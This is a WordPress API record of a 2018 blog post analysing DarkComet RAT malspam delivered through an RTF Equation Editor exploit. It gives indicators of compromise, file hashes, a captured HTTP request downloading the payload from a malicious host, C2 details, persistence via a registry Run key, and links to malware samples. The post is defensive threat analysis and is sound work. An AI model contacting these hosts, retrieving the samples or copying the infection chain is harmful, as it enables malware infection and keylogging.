{"id":1208,"date":"2018-11-06T02:31:23","date_gmt":"2018-11-06T02:31:23","guid":{"rendered":"http:\/\/www.herbiez.com\/?p=1208"},"modified":"2018-11-06T02:31:23","modified_gmt":"2018-11-06T02:31:23","slug":"2018-11-05-darkcomet-malspam","status":"publish","type":"post","link":"https:\/\/www.herbiez.com\/?p=1208","title":{"rendered":"2018-11-05 DarkComet Malspam"},"content":{"rendered":"<p>Here is a quick writeup of some DarkComet RAT malspam that I was able to find this morning. The infection method is leveraging the standard RTF buffer overflow technique (CVE-2017-11882). For more information about what DarkComet is, please see the following link: <\/p>\n<p><a href=\"http:\/\/www.contextis.com\/en\/blog\/malware-analysis-dark-comet-rat\" rel=\"noopener\" target=\"_blank\">http:\/\/www.contextis.com\/en\/blog\/malware-analysis-dark-comet-rat<\/a><\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2018\/11\/email-1.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2018\/11\/email-1.png\" alt=\"\" width=\"601\" height=\"511\" class=\"aligncenter size-full wp-image-1214\" \/><\/a><\/p>\n<p>All artifacts can be found over at my Github repo located <a href=\"http:\/\/github.com\/bloomer1016\/2018-11-05-DarkComet-Malspam\" rel=\"noopener\" target=\"_blank\">here<\/a>. I also have the memory dump post-infection saved <a href=\"http:\/\/64b8b7798ff7d4840e1f-89a69ef6f00cefa4521c39910597887e.ssl.cf1.rackcdn.com\/2018-11-05%20DarkComet%20VM%20Mem.zip\" rel=\"noopener\" target=\"_blank\">here<\/a> since it is too large for GitHub. Plus it gives me (and others) the ability to play with some memory forensics via Volatility. \ud83d\ude0e<\/p>\n<p>IOCs:<br \/>\n======<br \/>\n209.90.88.141 \/ thinker101.5gbfree.com<br \/>\n23.227.201.154:1604<\/p>\n<p>Artifacts:<br \/>\n===========<br \/>\nFile name: TYN NEW INQUIRY N\u221e680231.doc<br \/>\nFile size: 8KB<br \/>\nFile path: NA<br \/>\nMD5 hash: 140c8567bbf7ca37f61b145244611bee<br \/>\nVirustotal: <a href=\"http:\/\/www.virustotal.com\/#\/file\/41c9b63669630cd9bfdb86e78cdb463d4c8303cea8db46c77808ce68c04acc2e\/detection\" rel=\"noopener\" target=\"_blank\">http:\/\/www.virustotal.com\/#\/file\/41c9b63669630cd9bfdb86e78cdb463d4c8303cea8db46c77808ce68c04acc2e\/detection<\/a><br \/>\nDetection ratio: 34 \/ 57<br \/>\nFirst Detected: 2018-11-05 13:44:41<br \/>\nAny.Run: <a href=\"http:\/\/app.any.run\/tasks\/8821da7e-08b2-492c-a96a-7ead899f6be7\" rel=\"noopener\" target=\"_blank\">http:\/\/app.any.run\/tasks\/8821da7e-08b2-492c-a96a-7ead899f6be7<\/a><\/p>\n<p>File name: outlooks.exe<br \/>\nFile size: 644K<br \/>\nFile path: C:\\Users\\%username%\\AppData\\Roaming<br \/>\nMD5 hash: 4fbfadbae5998f9b8c682c4ff80caa7c<br \/>\nVirustotal: <a href=\"http:\/\/www.virustotal.com\/#\/file\/b59fd6dc4912728b391ccc583e7731824b03305905e909709edd1f9b1486fcaf\/detection\" rel=\"noopener\" target=\"_blank\">http:\/\/www.virustotal.com\/#\/file\/b59fd6dc4912728b391ccc583e7731824b03305905e909709edd1f9b1486fcaf\/detection<\/a><br \/>\nDetection ratio: 24 \/ 66<br \/>\nFirst Detected: 2018-11-05 15:46:58<br \/>\nAny.Run: <a href=\"http:\/\/app.any.run\/tasks\/22365a0f-8755-42f0-b139-ef45da1478d5\" rel=\"noopener\" target=\"_blank\">http:\/\/app.any.run\/tasks\/22365a0f-8755-42f0-b139-ef45da1478d5<\/a><\/p>\n<p>File name: fredi.exe<br \/>\nFile size: 658K<br \/>\nFile path: C:\\Users\\%username%\\AppData\\Local\\Temp\\RarSFX1<br \/>\nMD5 hash: 4fbfadbae5998f9b8c682c4ff80caa7c<br \/>\nVirustotal: <a href=\"http:\/\/www.virustotal.com\/#\/file\/b59fd6dc4912728b391ccc583e7731824b03305905e909709edd1f9b1486fcaf\/detection\" rel=\"noopener\" target=\"_blank\">http:\/\/www.virustotal.com\/#\/file\/b59fd6dc4912728b391ccc583e7731824b03305905e909709edd1f9b1486fcaf\/detection<\/a><br \/>\nDetection ratio: 24 \/ 66<br \/>\nFirst Detected: 2018-11-05 15:46:58<br \/>\nAny.Run: <a href=\"http:\/\/app.any.run\/tasks\/22365a0f-8755-42f0-b139-ef45da1478d5\" rel=\"noopener\" target=\"_blank\">http:\/\/app.any.run\/tasks\/22365a0f-8755-42f0-b139-ef45da1478d5<\/a><\/p>\n<p>File name: msdcsc.exe<br \/>\nFile size: 658K<br \/>\nFile path: C:\\Users\\%username%\\Documents\\MSDCSC<br \/>\nMD5 hash: 47210a44f7b21d09bfed1635cfe29f6f<br \/>\nVirustotal: NA<br \/>\nAny.Run: NA<\/p>\n<p>Analysis:<br \/>\n==========<br \/>\nAs seen below, the infection on the system is pretty clear cut.<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2018\/11\/ProcessMonitor.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2018\/11\/ProcessMonitor.png\" alt=\"\" width=\"1640\" height=\"119\" class=\"aligncenter size-full wp-image-1212\" \/><\/a><\/p>\n<p>I knew that this maldoc was leveraging the RTF buffer overflow via the &#8216;rtfobj.py&#8217; tool as seen below:<\/p>\n<pre class=\"brush: plain; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nrtfobj TYN\\ NEW\\ INQUIRY\\ N\u221e680231.doc \r\nrtfobj 0.53.1 on Python 2.7.10 - http:\/\/decalage.info\/python\/oletools\r\nTHIS IS WORK IN PROGRESS - Check updates regularly!\r\nPlease report any issue at http:\/\/github.com\/decalage2\/oletools\/issues\r\n\r\n===============================================================================\r\nFile: 'TYN\\ NEW\\ INQUIRY\\ N\u221e680231.doc' - size: 8340 bytes\r\n---+----------+---------------------------------------------------------------\r\nid |index     |OLE Object                                                     \r\n---+----------+---------------------------------------------------------------\r\n0  |0000003Ah |format_id: 2 (Embedded)                                        \r\n   |          |class name: 'fDVFd2c7C4'                                       \r\n   |          |data size: 4096                                                \r\n   |          |CLSID: 0002CE02-0000-0000-C000-000000000046                    \r\n   |          |Microsoft Equation 3.0 (Known Related to CVE-2017-11882 or     \r\n   |          |CVE-2018-0802)                                                 \r\n---+----------+---------------------------------------------------------------\r\n<\/pre>\n<p>Once Microsoft&#8217;s Equation Editor process started, the infection process was started. Initially it made a call out to the site thinker101[.]5gbfree[.]com to download the malicious binary:<\/p>\n<pre class=\"brush: plain; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nGET \/zaza\/frasd.exe HTTP\/1.1\r\nAccept: *\/*\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)\r\nHost: thinker101.5gbfree.com\r\nConnection: Keep-Alive\r\n\r\nHTTP\/1.1 200 OK\r\nDate: Mon, 05 Nov 2018 15:44:04 GMT\r\nServer: Apache\r\nLast-Modified: Mon, 05 Nov 2018 09:07:00 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 660465\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application\/x-msdownload\r\n\r\nMZ......................@.............................................\t.!..L.!This program cannot be run in DOS mode.<\/pre>\n<p>which got written to the disk as &#8220;outlooks.exe&#8221; located in the &#8220;C:\\Users\\%username%\\AppData\\Roaming&#8221; folder. I then see the &#8220;outlooks.exe&#8221; process open a command prompt (which actually did pop-up on my screen &#8211; I did not get enough time to screen capture it). This prompt was due to the batch file called &#8220;fud.bat&#8221; located in the &#8220;C:\\Users\\%username%\\AppData\\Local\\Temp\\RarSFX1&#8221; folder being executed. This proceeded to start running an auto-extracting WinRAR file that had the password of &#8216;125&#8217; (the use of the -p switch in the command line) which proceeded to extract the new file (fredi.exe) to &#8220;C:\\Users\\%username%\\AppData\\Local\\Temp\\RarSFX1.&#8221; Once this new process was started, it proceeded to write a new file called &#8220;msdcsc.exe&#8221; to the &#8220;C:\\Users\\%username%\\Documents\\MSDCSC&#8221; path. It is this process that is responsible for the callbacks to the C2 located at 23[.]227[.]201[.]154:1604 using some kind of encryption\/encoding.<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2018\/11\/wireshark-1.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2018\/11\/wireshark-1.png\" alt=\"\" width=\"1876\" height=\"86\" class=\"aligncenter size-full wp-image-1213\" \/><\/a><\/p>\n<p>The callbacks to the C2, I believe, are the things that got written to the &#8220;2018-11-05.dc&#8221; file located in the &#8220;C:\\Users\\%username%\\AppData\\Roaming\\dclogs&#8221; folder. Initially the file was pretty empty, but as I started to type and do things within the VM it started to write that stuff to the file.<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2018\/11\/keylogger.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2018\/11\/keylogger.png\" alt=\"\" width=\"1758\" height=\"939\" class=\"aligncenter size-full wp-image-1211\" \/><\/a><\/p>\n<p>Persistance is maintained using a pointer in the registry (HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run) pointing to the &#8220;msdcsc.exe&#8221; folder.<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2018\/11\/autorun.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2018\/11\/autorun.png\" alt=\"\" width=\"971\" height=\"36\" class=\"aligncenter size-full wp-image-1209\" \/><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Here is a quick writeup of some DarkComet RAT malspam that I was able to find this morning. The infection method is leveraging the standard RTF buffer overflow technique (CVE-2017-11882). For more information about what DarkComet is, please see the following link: http:\/\/www.contextis.com\/en\/blog\/malware-analysis-dark-comet-rat All artifacts can be found over at my Github repo located here. I also have the memory dump post-infection saved here since it is too large for GitHub. Plus it gives me (and others) the ability to play with some memory forensics via Volatility. \ud83d\ude0e IOCs: ====== 209.90.88.141 \/ thinker101.5gbfree.com 23.227.201.154:1604 Artifacts: =========== File name: TYN NEW&#8230;<\/p>\n<p> <a class=\"continue-reading-link\" href=\"https:\/\/www.herbiez.com\/?p=1208\"><span>Continue reading<\/span><i class=\"crycon-right-dir\"><\/i><\/a> <\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[31],"class_list":["post-1208","post","type-post","status-publish","format-standard","hentry","category-packet-analysis","tag-darkcomet"],"_links":{"self":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/1208","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1208"}],"version-history":[{"count":2,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/1208\/revisions"}],"predecessor-version":[{"id":1216,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/1208\/revisions\/1216"}],"wp:attachment":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1208"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1208"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1208"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}